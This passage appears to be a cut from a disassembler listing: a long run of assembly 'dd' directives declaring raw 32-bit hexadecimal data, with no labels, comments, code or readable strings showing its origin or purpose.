3E3BF89Eh, 7455C8h, 0F2BA0644h, 50ACAFDEh, 0D4B20400h dd 7BBEF3B3h, 2728902Bh, 348034CCh, 0A65CEF1Ah, 4C700141h dd 78F4F37Eh, 0AA9A00F4h, 0E939153Eh, 0AE029CE4h, 8563C34Dh dd 0D93C4177h, 1256D930h, 0EA9DF3h, 54CA7B28h, 0A240F30h dd 1201A7E8h, 2F9CE61Ch, 7756E8h, 7DA28333h, 0C15B53C2h dd 81654B1Fh, 0FAA3C3C0h, 0FAA4A8Bh, 1FE0F525h, 0A6024EEh dd 4797DC64h, 0DA2F0203h, 0E8BD7280h, 26F02B0Dh, 87C4A61Bh dd 70823290h, 0E1663BF1h, 4407517Ah, 0FA7F9DA5h, 714B00FEh dd 9E9717h, 635C93ECh, 0A539450Dh, 0BFCD2D00h, 524138Eh dd 4203CD9h, 0AFEF5300h, 2132DB8Dh, 584C274Eh, 6BC844h dd 0FFC75370h, 0C6EBAC7Ch, 0CB127300h, 0AD7ED442h, 69F700A2h dd 0D1F5A620h, 0A513407Fh, 5B0534BEh, 0E387F492h, 77801294h dd 0C59C48h, 744E4658h, 0D9AD5380h, 253CEBA0h, 0AD03400h dd 0B6E7F98h, 0F3EEA060h, 8C370086h, 2452037Ch, 993D74ABh dd 9064247Ah, 35B4EF00h, 1F898215h, 8E222C19h, 0F1A0B2F5h dd 67E22BDFh, 0F3C7FD12h, 96F0000h, 9A96916Bh, 0DCF90034h dd 0AD946C2Eh, 1870D842h, 0C35C3106h, 360DE7Ch, 4BA28E4Ch dd 6983EED7h, 0E1E3DCE0h, 7423ED2Ch, 8A00AB13h, 0B0EC13CBh dd 0CF260050h, 2C76BF4Ch, 58004F82h, 0A462C47Fh, 5CDA66Ch dd 12B96339h, 356490C7h, 850F9C5Fh, 0AE0737BDh, 620036EDh dd 0C888AEA4h, 170B001Bh, 0F25106E1h, 0FE00CC5Ch, 0C9AA04D2h dd 3058F35Ah, 9D228E6Ch, 710F123Eh, 77476FC5h, 3C6A9303h dd 7258E826h, 0B99300BFh, 0AC71F68Dh, 28926841h, 8FFA5E2Dh dd 0F4640104h, 4D03148h, 0D38D1849h, 0D46218E8h, 8365978h dd 182811E1h, 0C9198680h, 380079CDh, 0DCAA36E9h, 846A4Dh dd 4F871DF2h, 0BA847AEh, 0F4D24Ch, 354537F6h, 0C0E5387Fh dd 0EC924979h, 333E9811h, 0BC8B0ED8h, 686BACB9h, 3FAC2847h dd 6F160558h, 0C0125F98h, 9E692268h, 8F7CB800h, 7FFEAE7Eh dd 7764129Bh, 1D811215h, 142E4004h, 0B9A187EAh, 417C060Fh dd 6551D846h, 6A39039Ch, 0CB05F81Bh, 0AAAF2C0h, 37C85516h dd 732DF8D1h, 0E6A13410h, 0E5107B00h, 0C15F7232h, 90E70014h dd 0DDF43662h, 350316FFh, 606C138Dh, 2D1FC0D7h, 1CFE26h dd 78E95EEAh, 0AAF1D5FDh, 0EF495D00h, 865CB4FCh, 4A940466h dd 52FA899Eh, 8098710Eh, 6CF3481Eh, 37EFEh, 133B568Dh dd 0D7EB9CC5h, 97269667h, 59A4BB20h, 2A22FEB9h, 35CA995h dd 2C26B33Fh, 359821C0h, 50024CA4h, 6EE61B33h, 3E7484D8h dd 0EF86F4Ah, 8B40900Dh, 0FBC27E34h, 8022C100h, 0D0490B93h dd 7DE77A6Bh, 15440DB4h, 20506D14h, 8A008B7Ah, 9D1671E4h dd 0A402274h, 625D6B3Ch, 0A21F0EDAh, 379FC5A0h, 0C300A558h dd 8A099EDDh, 0E3D8768h, 49BBF9EAh, 71006C2Fh, 0D0B2EE95h dd 33FEB900h, 0B1DF5947h, 78820727h, 276E2137h, 0DE3B302Dh dd 6200D619h, 7D4A8190h, 0EB4192h, 0DA9B1E57h, 4AC786Ah dd 2D001CFCh, 1D856F49h, 3E5F2935h, 0EA0080CAh, 0B5CCC046h dd 3E00A550h, 0E3A9A29Ch, 0E2E101h, 479B1857h, 0B5375F3Fh dd 6BFE9000h, 0A0FD0F3Bh, 1CF0905Ch, 8078191Bh, 0DCD6238Bh dd 0EC008575h, 6D3553Ah, 0E418F0h, 74E1B4DFh, 23A85C78h dd 0D5008F71h, 52BBF475h, 0FD50E4h, 364013D1h, 18768782h dd 0B3000798h, 7F4D2BBEh, 266A5Bh, 0D1FA0CADh, 6984F03Ah dd 0CF8F3Ch, 91D62D9Ch, 1D398A2h, 863DC860h, 6003977Fh dd 3901BC97h, 93F2D4E4h, 30CCA85Bh, 388BEEE6h, 0CB80A2A0h dd 84CC0744h, 0EC00124Fh, 7B59251Dh, 1E824A27h, 89F37C66h dd 16007088h, 49ED8C86h, 0C7F62C0Eh, 32BDA009h, 0A06017C1h dd 7B2488h, 2A140DF9h, 0E170FF8Eh, 5B0420FDh, 26897600h dd 81A50468h, 7B6C00C5h, 0D7F7C94h, 613CD04Dh, 0FABC805Ah dd 9CB9E458h, 9F9A0087h, 0FEEFEBD7h, 84005606h, 3581AEB2h dd 5FD43Eh, 0AD4211CDh, 4D433259h, 0E3833B00h, 5B9F2515h dd 0BF0507A1h, 20441156h, 66B0A347h, 806BD639h, 55086C93h dd 5258A8h, 2425C257h, 356EB0ADh, 88F56702h, 40944E2Fh dd 73A1DE7h, 323621D8h dd 1E07C08Ch, 760F4F5Bh, 0FCF8B7E5h, 25E7C1C0h, 1DC975EBh dd 801DA174h, 0B24A495Eh, 723E303Fh, 610580D1h, 1D0FAFD6h dd 36C40B60h, 4780BE94h, 3C86DEE0h, 2E17570Eh, 259161F6h dd 80A80315h, 956B005Ch, 81BFD36Dh, 84A04CC8h, 5E0059E6h dd 9631165Fh, 0D61D25h, 4DC01BADh, 0FD57F45h, 98096DFh dd 0B57D2EA4h, 4E7F6Dh, 9EFB909Ch, 4AFC83CEh, 0F4A9311Dh dd 0EC276BC0h, 3F7ED51h, 9643A0A4h, 2FB806B4h, 0CF1F9124h dd 80BE2836h, 0BF9817CBh, 5608B2h, 0EB86B439h, 87CC7DE1h dd 0A4C97B03h, 49F1ACDh, 1C6EA8D1h, 86C0AAC5h, 57FBB8h dd 0C585CE8h, 33660137h, 65E32700h, 39CBF13Ah, 3DB718A8h dd 4362F092h, 0E35BBF00h, 54366120h, 0CB850365h, 0D725E6A7h dd 731DD190h, 82871300h, 85FE89C8h, 2A39005Eh, 63E3155Dh dd 0EB198474h, 629035C2h, 6836FCh, 675D1BA0h, 0A949308Eh dd 8AE6CF7Ah, 2E561C00h, 0EBA0DAB6h, 21D00C3h, 0C239A1C1h dd 0DD03E3BCh, 0CD7266Ch, 149DB061h, 99F600FEh, 1824D22Bh dd 5600D86Ah, 27022FDEh, 0BAB06Fh, 42214F39h, 9CEC19CBh dd 0B53F100h, 48D084DFh, 7E4A1FD9h, 8FAA80BEh, 0F0D8B6A5h dd 0CB43121Ch, 17156040h, 3D9413h, 0FBB9364Dh, 0E668695Dh dd 6100FE7Dh, 32DDDC35h, 0B68018h, 2C3842CEh, 17EB5EFBh dd 8530C901h, 847B75D9h, 6D133480h, 7C6D7DFh, 5EC2048h dd 413257C0h, 583EEE00h, 587F9718h, 451EA96Ch, 830303E4h dd 4790D346h, 277680AFh, 920095FCh, 11C4B39Ch, 857689h dd 0FA307A77h, 0EDDDA33Eh, 0CB388618h, 767FE6BAh, 0FC0E1F18h dd 0E9CC40AEh, 9805A9A5h, 18628726h, 0FA9AF400h, 0CFD01Ah dd 8170A253h, 2934A5E8h, 757A6400h, 4E17BEC5h, 0DD100054h dd 0A12B5A2Ah, 0A4508458h, 8B006EB2h, 5278CB64h, 6A9328Fh dd 0FCB07E45h, 6A00AE4Eh, 0EAEEF98Ah, 1FD70Ch, 1171D91Ah dd 0B1E0C0AEh, 80B87326h, 78EC6700h, 242EA9D3h, 1CF7C8h dd 0B6982D3Dh, 451FEA5Ch, 41C0207Ch, 0F1F49C0h, 600E0384h dd 0C890EF09h, 4BF3EBD8h, 3385078h, 8CE50032h, 24337DFAh dd 65F8000Eh, 8E731148h, 29004DD8h, 6875B50Ch, 2BFB92h dd 52A0F559h, 0B1E2E984h, 43D9F800h, 4D35C47Ch, 47F90020h dd 0C377C88Eh, 8FF03C1Fh, 0B2486860h, 0C0FFD6B1h, 0E3454021h dd 743EEC11h, 15C9D92h, 0F04802C0h, 258FE6Bh, 0F8D303D5h dd 90480672h, 860347B3h, 5A7E4994h, 0D2D1D0E7h, 8223001Ch dd 0E33EA943h, 747A7B5Bh, 0A673A70Fh, 0C0DCAE68h, 639CC1A8h dd 4FECBh, 326ABB4Ch, 0A29EAAC8h, 8EA35504h, 0D4800A56h dd 1D1C9A19h, 0E4F29B5Ah, 8DF900D6h, 10DE46B2h, 0B804A900h dd 0A49AC950h, 5B5E0384h, 0D0B4ABF2h, 60788AB0h, 0D639B5A0h dd 693CEB71h, 0F3CD0994h, 0E51820E0h, 250141h, 0D9339F8h dd 53926412h, 3557E901h, 0EFE091F0h, 976941C2h, 0E64360h dd 716DB0D1h, 0F8A25736h, 0EFED6C00h, 4C886963h, 7B34CB8h dd 19220100h, 8F3D0858h, 2BAC4007h, 0D49182EDh, 0AE40DE3Fh dd 24FF9Dh, 0DAC9513Bh, 781E22Fh, 0B8753400h, 62F6E860h dd 0ED2C136Bh, 0DF800078h, 4A17C237h, 7B2BF304h, 0A0D27728h dd 0BA8055A7h, 66372D15h, 0A6DD8201h, 28F98EECh, 982080FCh dd 0AC9F00FFh, 9991A4A2h, 24F0A887h, 0D7AA620Eh, 907C6063h dd 0B8C30122h, 554E6C6h, 0B8CE7768h, 4DF40093h, 98AEB182h dd 0E0814400h, 0A6F131ACh, 1A4F00BCh, 0B6A803C1h, 4A002A4Bh dd 4E50492Ch, 79E25913h, 1C9209h, 935D80C9h, 0B22F11F1h dd 0FCEF6A3Dh, 0BC1E1301h, 196D0AE1h, 0F8261080h, 0C071A990h dd 2D5C8400h, 824B7345h, 36A8010Dh, 0F6650695h, 40E5E17Dh dd 2A72D084h, 4E184F00h, 0C4DF9538h, 96881F78h, 5CEE0013h dd 1D63ACBAh, 0ECB44500h, 7E0D8A5Ah, 7385247Dh, 13460103h dd 40CBE217h, 5C36AB58h, 9EF03C98h, 8A295B00h, 2E986604h dd 14D35099h, 5AC40033h, 4D50D65Fh, 0B7008609h, 9A704644h dd 0A6F5B6h, 38B8BFCAh, 4D609BCFh, 3D2F6200h, 0EB5618D9h dd 4EF9021Ah, 4B2B3845h, 48E2A6E0h, 0F551D500h, 28F17702h dd 0F07781h, 273B837Fh, 247DC275h, 2C9162Eh, 61762302h dd 9FCE09Fh, 1EFE00A9h, 0F772F587h, 600056E2h, 915DE58Ch dd 0BEB9C31h, 0E77B0FA2h, 1B013B81h, 0E8C8DF28h, 0A9004B3Dh dd 812E16F6h, 5944CCh, 86A42BBFh, 643B1085h, 0FFC22900h dd 49438DDh, 31E93D12h, 0B10E97h, 8C29BC28h, 6B0085F0h dd 0D1E2D7A7h, 7D85D75h, 17E601C3h, 1D207005h, 0B7003D4Dh dd 54124C99h, 2E6E88h, 0FFAD27CEh, 3B06D551h, 4E454F07h dd 1557DD2Ch, 4D1F9CC1h, 7697C840h, 68E91290h, 0D600020Ch dd 0C8A196AAh, 506653FDh, 0C969B7DCh, 7A393C01h, 2B16B809h dd 0C06425E0h, 61F62820h, 0E1F9CFDCh, 322EDCCAh, 0C493860h dd 1809B33h, 5F87615h, 0D1C6DDB5h, 55218039h, 3803588Ah dd 0FAF222h, 0BE644F7Eh, 56DD45BDh, 88F393F2h, 16BB70h dd 1508EF88h, 492CE0FBh, 0BE1C34h, 35242D9Eh, 2CE1870h dd 0D9FA71E6h, 6840490Dh, 0F631615Eh, 0E48059FEh, 462E8400h dd 406FC26h, 0F054280h, 180AC4E0h, 9956712h, 20C02F83h dd 920F5EA2h, 687C060Bh, 0C931C4D7h, 1275EE01h, 6F060C44h dd 0F40E2C32h, 8C006195h, 65E1DD3Bh, 4499B400h, 0CF56CC7Fh dd 0C86F417h, 0E21F2AE9h, 0D51806C9h, 33D94599h, 1D19C0DFh dd 0A4AF14F2h, 23EB1500h, 0AE53167Ch, 1E90FCh, 6B379943h dd 0CFBD6A3h, 8A931A3Bh, 74DD50E6h, 2D36215Eh, 0ABC92F81h dd 4730F934h, 0BCDA002Ah, 62E583B5h, 0D7752171h, 7484539h dd 4FDCFEC2h, 0E1CEC7C0h, 1E1803EDh, 0A22E131Dh, 76FB7DA8h dd 0E31FA40Fh, 5002D331h, 407C0545h, 1C8E9328h, 0CBDF4E12h dd 82001F4Fh, 13453CCBh, 3F380148h, 0AB4705BEh, 202CE4D5h dd 153B46EBh, 9CE035h, 0EBB2BA83h, 0B8DC6F64h, 0DDB900D4h dd 2AB70F68h, 9200EAA6h, 471CAED7h, 0F357C9C6h, 18D33430h dd 60326973h, 0D8799E86h, 55CE1200h, 333DCD0Eh, 0E50838A5h dd 0B4CA0501h, 2365AAF6h, 9B47017Ch, 0BD961354h, 0ECA84D0Ch dd 58009F09h, 87CC8427h, 2AE39552h, 0C4C03A92h, 916C9C0h dd 7D00F54Eh, 794766C0h, 6D1F3FEEh, 880635F1h, 0A350F5E7h dd 3060DCBCh, 1529859Bh, 4711408Eh, 5887FE07h, 0CD87CB3Eh dd 7B69F090h, 3A26C759h, 1C29C5E5h, 7018B04h, 270EEE20h dd 13C2A810h, 92C51C4h, 2A2C0053h, 7AD35801h, 91A660B6h dd 0C364742Ch, 0D9CF3630h, 0DA26D6h, 72C048E7h, 68D8614Ah dd 21D53830h, 0D7367Bh, 347507CFh, 54D8C90Eh, 8338113Ch dd 165C7127h, 7FBBC8AFh, 0D9EF0009h, 0E0B1DE26h, 383DB97Dh dd 90930996h, 0F698E0FEh, 0CDD7009Ah, 5892680Dh, 44141ED0h dd 18E0010Fh, 2779B83Dh, 2241002Ah, 6C64993Ch, 9D54DBE3h dd 5D788280h, 0C27460Eh, 288373E9h, 0A0F8DBEEh, 0E0CF19h dd 511302EBh, 70F00E95h, 0DDB7C700h, 6194D5C9h, 0EBE9183Eh dd 0D1893816h, 7C741A75h, 0D27A0C05h, 5DC0632Bh, 1341431h dd 9543C58Ah, 40A618CBh, 2A4EE350h, 5C0FAD01h, 6D29263h dd 0B3CF8851h, 0E516F000h, 0F95AFD33h, 1989F0F7h, 986A06D1h dd 8539932h, 0D8216360h, 7C558B7Fh, 12A73FAFh, 8805F580h dd 0D7E7B593h, 5BCFD026h dd 30B8510Ah, 4D6F2174h, 5E9503BDh, 13FE92h, 9FD2A539h dd 5B1E327Ch, 20288175h, 0E424D1F0h, 5811C0Ch, 0DF7AE130h dd 8C912020h, 9D72404h, 5961F049h, 0AADD0019h, 0CD750FDAh dd 0FEE38DC3h, 0B1982212h, 0C0A019DEh, 0FC5216F1h, 89530164h dd 2AC2D124h, 0D988210Ch, 0E97301B6h, 90CFD40h, 91EC59F1h dd 2981C8A0h, 0EE4910DAh, 50060C62h, 782E21CAh, 790077E1h dd 3EDE870Eh, 0FE590C18h, 7D915B4Dh, 73FA2512h, 77607801h dd 0B0634C2Bh, 7F3023A2h, 271001Bh, 0DB59F75Ah, 4124A9DDh dd 4500948Eh, 94563595h, 0E9EA004Fh, 3DF1089h, 4270869Dh dd 0CE79B80Fh, 0A519A075h, 8EC62Fh, 1132708Ch, 0CD45479Ch dd 95C2DB00h, 5E99F94Fh, 5758C082h, 1D3E8C17h, 7BF88B02h dd 0C8867021h, 22D3A4h, 0BADD0882h, 84C1E50Ch, 0CB887500h dd 2FF12B33h, 9A550004h, 1DC27BBDh, 0F800B5B3h, 36716179h dd 0E8DE5A99h, 2472EA95h, 0DC78DA21h, 0DF9EF40Eh, 2308C065h dd 1ECD41Ch, 0DC826626h, 645214EDh, 4E058D60h, 183CB097h dd 0BF6F407h, 0D09F5E50h, 0A7A626D6h, 0DD498230h, 9C605389h dd 0C600C9F9h, 933E57CBh, 0B8045431h, 4A1620C4h, 8AC86238h dd 20A446E6h, 4E1D8D71h, 19648430h, 0A3EAE530h, 0BA8A500h dd 0C2B5BD46h, 6FE0EE8h, 0D4E096D8h, 8E2B0A16h, 0CD6FC63Ah dd 18520074h, 0A95F50B8h, 583E01C2h, 811D360Dh, 8ECEE87Eh dd 0C3E96E0Dh, 70A13114h, 0DAF87D04h, 71A005EDh, 87351326h dd 1637C4D4h, 36105C3Ah, 3AA5D42Dh, 0E9BB9DE4h, 0B7A06DC0h dd 191619Fh, 0BC86B43Fh, 0EFBEA553h, 0BCE8FCD2h, 6B00C20Dh dd 52F0C3A8h, 954E2EDh, 0A9B211A6h, 40B1C900h, 3E264CACh dd 1412AD8Fh, 0E4C058D4h, 30E2E848h, 80A916D1h, 0FF1F7FCDh dd 718C5E83h, 0B31910h, 8A3959A9h, 7B7CB01Ch, 0C737FC00h dd 860F149h, 67030269h, 44F7C68Dh, 0D62CB872h, 0CC40A4E0h dd 4190506h, 131BC971h, 0B32CB43Dh, 0E44EC000h, 924DA9BDh dd 70370040h, 0FBCE28D8h, 9AF46532h, 0AA452001h, 0F0B856DFh dd 65F19C62h, 560C62h, 0D72AB281h, 6D1DA32Fh, 0DD5DD500h dd 0C685D0F9h, 0B4E4A087h, 61E82CF6h, 9B196170h, 0C786F432h dd 30EB8085h, 4B9C9F9Bh, 37FE7E02h, 98DCF515h, 8446BCh dd 9E6DA691h, 71305759h, 3D245F49h, 2DE401FCh, 781D3AE1h dd 0E54C2C0h, 1549AEB9h, 9C5E2760h, 0DC88126Eh, 0F9460340h dd 0FC702ABFh, 9EE30498h, 5F2B1D44h, 24CC4071h, 121ACD6Ch dd 0C3DCFA0Ah, 0E063E82Fh, 1C8EF8C5h, 207839A7h, 5E342B80h dd 0CCEAA12Dh, 0DD947509h, 8641D50h, 48602E9Eh, 0A444727Bh dd 2B6F33D8h, 0A90E2A1h, 3A764FA4h, 46237700h, 6F0394F2h dd 0CA0400B6h, 337A66CEh, 840EA0ABh, 0E5B96A24h, 508155C8h dd 2B01059Dh, 15C83915h, 0F451E9h, 3198F26Fh, 3E325AF0h dd 34BA1846h, 4320C0F4h, 0E93E903Ch, 9C00284Ah, 4B213B3h dd 5F1F03CDh, 2BF39E79h, 97472DA0h, 33E85673h, 6869C560h dd 10D8EA5h, 0B4CFDA03h, 0C33D45F0h, 3849939Ah, 2F744071h dd 0B4013CC8h, 19A4A235h, 25702339h, 748D05BDh, 0F3D1793h dd 0A120B22Ch, 0D3904791h, 0CD024472h, 0D0792E31h, 40DC2852h dd 0E6E912F7h, 33CC0D0Bh, 0F4C80087h, 4034447h, 5E173E2Eh dd 318C8CFEh, 0D125897Ch, 8C1652h, 0A48B7CD7h, 9623E1D1h dd 69136E30h, 0E5C88B7h, 7AC4AFB8h, 14055F8Fh, 0DB40C551h dd 0E69D8084h, 48AC7Eh, 0B1C38B98h, 3E4ECC2Bh, 84129496h dd 9CB584D4h, 0E2AF3C60h, 455A00FBh, 6148CB24h, 0CD0439F9h dd 311CB1C1h, 12E9B081h, 2805F180h, 0E5187175h, 86E7C00h dd 0DCF84819h, 0DE4601A1h, 0B1FD5250h, 0B7318061h, 0D6F8D396h dd 16C131Dh, 0BC900C82h, 690761D9h, 0CC46B84Ah, 0DA26B5A1h dd 94FE55CCh, 806D9D90h, 0B77202A1h, 3839D1CEh, 0EF8B833Ch dd 2A64881Fh, 500550h, 0F1464E5Fh, 0D0C1F781h, 7C486EEEh dd 5C4A06D4h, 348799Ch, 0F79FD506h, 390169B1h, 50FF81E1h dd 1044BBE8h, 0A1D40C83h, 82C52E04h, 344408A9h, 181C9228h dd 0EBCF8920h, 0D40107DCh, 990E08E3h, 42B14B0h, 5447E94Eh dd 0E8E14F95h, 59BB9147h, 90EECE93h, 0CDD2B81Ch, 40A7511Fh dd 664B6F00h, 32F985Bh, 9C817C7Dh, 93F16377h, 50DC21E1h dd 78D1E308h, 0F25291C0h, 3A0FB695h, 68309605h, 9A7B4C68h dd 9344449h, 0A249DAE3h, 40712A94h, 4F75572h, 0DF7B3FB7h dd 4EDCC0EAh, 28B01D2Ch, 52DCDC54h, 78633101h, 0F1A582A2h dd 5904D8h, 3DACA335h, 3A778A3Ch, 0B34ED49h, 18D49650h dd 4FA7154h, 0B1FE35B8h, 0E7949207h, 75F7BC98h, 14CC6453h dd 46DC965Eh, 2D73AC8h, 552964A6h, 3BB0800Fh, 1171B28h dd 82ED54F5h, 0D071B0BDh, 220245CAh, 1512691h, 0E28043D1h dd 0D5CF0019h, 1301BFF6h, 873EC656h, 1BC4CA59h, 3C880F54h dd 8B4502C5h, 0F108C2EAh, 4E11AC20h, 5FAA00BFh, 8CBBA91Fh dd 5506B1D0h, 9B61B80Dh, 0A3E100E9h, 64412F95h, 7A001B43h dd 71246EABh, 6A55586Fh, 0E102934h, 9CE01999h, 0DDD712D3h dd 0E41A0E2Ah, 24A39700h, 0E13E4629h, 0C78818D6h, 73F238E6h dd 0FF846401h, 9EAAA892h, 73542860h, 0DFC13A13h, 0A993BB89h dd 20D58F07h, 7A5AFAFCh, 473FA09Ah, 4EA8805Ch, 544FDCFBh dd 0EE4409F2h, 4F01C7ADh, 413C4D47h, 0E2FBFD24h, 0F7040448h dd 5EA3570Ah, 0F98F1845h, 0E7D2C0CBh, 605A90B5h, 790BC015h dd 7DE060ECh, 7100DDE0h, 9E81C749h, 572363h, 681F610Dh dd 0B8097311h, 0F200997Dh, 6C313BFEh, 35E7634h, 0A194DFC8h dd 80791B5Dh, 0FCFEB8C4h, 0D35F140h, 9CA26FADh, 108228A9h dd 6163FB94h, 0CB62F107h, 0D4811D74h, 0C6E2500Ch, 7A133A3Ch dd 0FB81E580h, 9718B842h, 43019B7Eh, 0E97CDF4Ch, 0B700217Dh dd 0B07C72BCh, 0E34A0D06h, 746195DBh, 0CB931584h, 0F926C485h dd 66876FC0h, 12F082C2h, 277BC40h, 0BA9F0D09h, 0B8F801EEh dd 74D083F6h, 0B6C33466h, 93A00598h, 4DBCB46Bh, 7EC91963h dd 80F5F39Dh, 1B26CB8h, 229CE667h, 382D4D4Eh, 869300E8h dd 131B7999h, 0CFC60F4Fh, 10985285h, 0F9304489h, 83E6283Fh dd 5D7301EEh, 7BED47C8h, 0B718891Dh, 80FC67DBh, 0B76876F2h dd 61008F7Bh, 0CF8EB1ADh, 797738B8h, 45131326h, 0BB95070Bh dd 0C39C8599h, 5650A72Ch, 28338114h, 0E04530BAh, 4C46EF95h dd 1003864h, 0F5F2CC24h, 0C3021692h, 7312DE39h, 0E1288044h dd 0CA37E6EDh, 25C02E18h, 38ADF8C8h, 0A919E930h, 0AC3E1CCFh dd 0D09C1260h, 26040342h, 83911C45h, 9358829Dh, 83B0C16h dd 0FB4D0090h, 0CA06F5EBh, 0A8245528h, 4C91CC65h, 918F78C2h dd 8458647Ch, 79186023h, 9981C1B7h, 8418DC68h, 0D015420Eh dd 757CB10Bh, 2477B001h, 299C4156h, 57484198h, 77050F3Ah dd 1B7FEDDh, 5C7BD7A8h, 0DC98068h, 61A9F3E6h, 0C2EF8CAh dd 0ADB81BCCh, 0B0A7781h, 184D4969h, 0CB8F6C00h, 1C9C92D7h dd 7143CF21h, 409117A1h, 1DAEA1Ch, 0D01EA1F4h, 0CC6A868Dh dd 0D15C820Ch, 0CB117Ah, 0CE41872h, 0CA10A9B2h, 0B0BA49h dd 0C02B61C4h, 7B0715h, 481B8F70h, 7AFD9334h, 0DCF2500h dd 6FC5A8Ch, 0B110007Bh, 1DA62B37h, 4A0A91D7h, 34A15B38h dd 0EC45893Dh, 2730229Ch, 0AD08113h, 0A0493CB5h, 35FC7881h dd 241A8BD7h, 0FE066B00h dd 0E35065EBh, 0DE332410h, 7021800Ch, 0C70E297Ch, 771F88B0h dd 84A81245h, 0BAF19703h, 0E3A8F5Ch, 612AE170h, 0C17B9505h dd 95A0886Ch, 0F040AB61h, 11428151h, 0C049BD93h, 70EA045h dd 902E4AFBh, 0F98B6BCh, 17EB3809h, 2B7421E2h, 611273C9h dd 0E61054ACh, 0BCBC5751h, 4B7D0CE1h, 4D9238BBh, 0D6006097h dd 0EB5CC9B3h, 87494499h, 8104804h, 8A1D1E46h, 40C97EDh dd 4A1BCB72h, 1E9F1860h, 3609265Fh, 0A278201Dh, 7127FDFEh dd 648E00E8h, 48CCE130h, 2F03D9E4h, 0A59611Ah, 8FC805B4h dd 80864E8Dh, 2F97E599h, 2C177AFEh, 8491357Eh, 0E9D0A5FBh dd 5E070BF6h, 0A091E8FCh, 4759D4C2h, 4B18002h, 0A2B692E3h dd 0C8FD3A90h, 67D9D4h, 404AFC6Bh, 0C5302FF8h, 28153900h dd 0AD858146h, 436007FFh, 97CC52h, 67D50AC6h, 0AA0FAB00h dd 99C4E1C5h, 0FFAC135Fh, 0A93E0220h, 485646E7h, 0D6258340h dd 0FDD50074h, 8E226652h, 330010CDh, 907BBC23h, 15E4A8Dh dd 6315361h, 0D84D714Fh, 0B3190E88h, 22F8937Bh, 9CC8412Bh dd 0F1D65FCEh, 349EEC61h, 0A6A12401h, 0E43A1C25h, 0A3BADCh dd 7C414760h, 6B2E1987h, 8695D31h, 20802590h, 0AE3FF01Eh dd 0D71BE34h, 89D4800Ah, 465C249Eh, 0DE700AFh, 6853AC6Eh dd 8018C118h, 0D0A4525Dh, 1C00601Ah, 4BFDC538h, 63FE09h dd 0C42DEA3Eh, 7FAFF48Fh, 0E2D20F00h, 94664F62h, 7440CCFh dd 0BA48DDE6h, 6ADFAB00h, 748AC9FDh, 6FC03AA5h, 609F8618h dd 0DE00D303h, 193E0AC7h, 3B483783h, 4B800EAFh, 8069AAC5h dd 8733F495h, 641A6854h, 603E68A1h, 102CDFB1h, 0C86FB9FDh dd 699059h, 6C1A0D6Dh, 3861037h, 0F2409161h, 58006653h dd 168BCF69h, 8F1B32h, 0D8B0D094h, 7F79BEA2h, 3D6CCE03h dd 4FF777h, 4DC61631h, 768C8FACh, 2C27E91Ch, 1DA8445Ah dd 80731184h, 0CA1C4B34h, 8D25058Bh, 1DCC60C7h, 26582ECh dd 34C0A362h, 1100EFA5h, 0C0727F46h, 0EE78AA42h, 0E79F0035h dd 144138A4h, 23003905h, 0E5D696E6h, 72DA471Fh, 7F9F1DD0h dd 20D8DD1h, 0E7628020h, 0CB9BB8Ch, 0D4BE00A5h, 0A9AA8343h dd 2100B508h, 655C9233h, 30827B80h, 47380672h, 6809BF8Ah dd 0E02FA8h, 277B4F18h, 38EB0C3h, 8552372Ch, 680034DAh dd 0EFBD4CC6h, 18CA3B83h, 84459F0h, 20C0143Fh, 0CFBAA7A6h dd 5420001Dh, 1C1FA0B8h, 0BCFD8362h, 9E7B38A9h, 0E00036E7h dd 2E8B9AC0h, 85B703EDh, 1B204A2h, 0B5202867h, 2753A141h dd 8D031180h, 29C8CDD4h, 0A80F5B0Ch, 0CE2C0881h, 0D3805C21h dd 0C6C01E14h, 345D1500h, 9078FC3Bh, 0CEC288Ah, 30397484h dd 25E8362Ch, 8454C137h, 0BC021170h, 0A0F3856Eh, 381D10F1h dd 1688B80h, 45E44ABDh, 80353E8Fh, 0BED45F60h, 0CED5BFBh dd 6C41506Fh, 0E615B418h, 13605510h, 0EB0AD468h, 4446091h dd 2D4A714Ch, 8000D5E2h, 4CEC35FAh, 0E782127h, 0AC986DF2h dd 77853CAh, 0A07B081Dh, 5F672A85h, 9E429C1Ch, 0A388EAC0h dd 483477F1h, 0E633A9DDh, 38CD198h, 0A0BC2DE1h, 270B7Fh dd 0B70A7160h, 8E03A078h, 859B530Fh, 1AA1A0EFh, 3AD08A68h dd 7700D4AAh, 540D2CF8h, 4100CBD2h, 2ED92DECh, 0B34E98h dd 431A4CDFh, 605FD0CCh, 0E7008BB8h, 66A131E0h, 2AB4A5h dd 849D9702h, 0E9728A08h, 5552CD00h, 9A661E3Dh, 8C8E001Ch dd 700DC4D7h, 49000740h, 0C0A91BD1h, 0EDB968h, 64D0399Ch dd 0BE31DEA3h, 0DD0009FAh, 91C3150Dh, 0FBBF6ACh, 8F5EFC77h dd 0E79AC03Eh, 63950D4Fh, 0A6A40807h, 7E00117Ch, 4CFE5B22h dd 0A707DE88h, 801E842Dh, 0C4B24AE9h, 15D8BD17h, 0C7DF0200h dd 0EFAEE74h, 0A95AC923h, 16098F0Ch, 0BF40DD85h, 0F3A57DDh dd 18D42497h, 0F4037180h, 0B100AA96h, 0FCD99B6h, 7588111h dd 7D9E574Dh, 703710DDh, 29C4F3EDh, 0FD4272D2h, 0C9014BFEh dd 5403DE98h, 0C80F2FDAh, 6C728C71h, 0DB449551h, 29F76191h dd 1CE117Ah, 11159E8h, 0A61311DCh, 101F6611h, 804AC7BDh dd 8E40A7CDh, 0C2EC4478h, 10E24F19h, 2988AD50h, 0B14EA6D9h dd 6E0CAE21h, 0A0A5796Fh, 88C7C928h, 0F680D72Ah, 0C65400E6h dd 46263475h, 1B705E97h, 80622000h, 30A3C874h, 765A0023h dd 0A64B26C1h, 0BF00F4B1h, 0D4B3D513h, 38C7896Ah, 0C1856EDFh dd 0C03A836Ch, 64629796h, 898C5100h, 96F5CF66h, 61A30040h dd 330A37A7h, 4FF4CC21h, 0DA2F8600h, 0C929B420h, 0B9D009Eh dd 0FD9AD761h, 0EB00AC7Eh, 1F59AB8Bh, 0E4E507h, 5C0C8E2Fh dd 0FFECCE21h, 6EF53C00h, 4EC31229h, 0A8192C9Ch, 10C83946h dd 0CF000A3Dh, 5A54B248h, 7002AD6Dh, 0A4337F52h, 0EE00DD6Eh dd 0E0DF02B1h, 54F41200h, 6839319Ch, 2F8407B8h, 80E396EEh dd 0F0EAF53Eh, 0AD8A8106h, 36130C0h, 0A0E3D45Dh, 0F0F7E88Fh dd 4DC20315h, 9117FD00h, 0A4ED6007h, 147322h, 0BC791CB2h dd 6C74D40Eh, 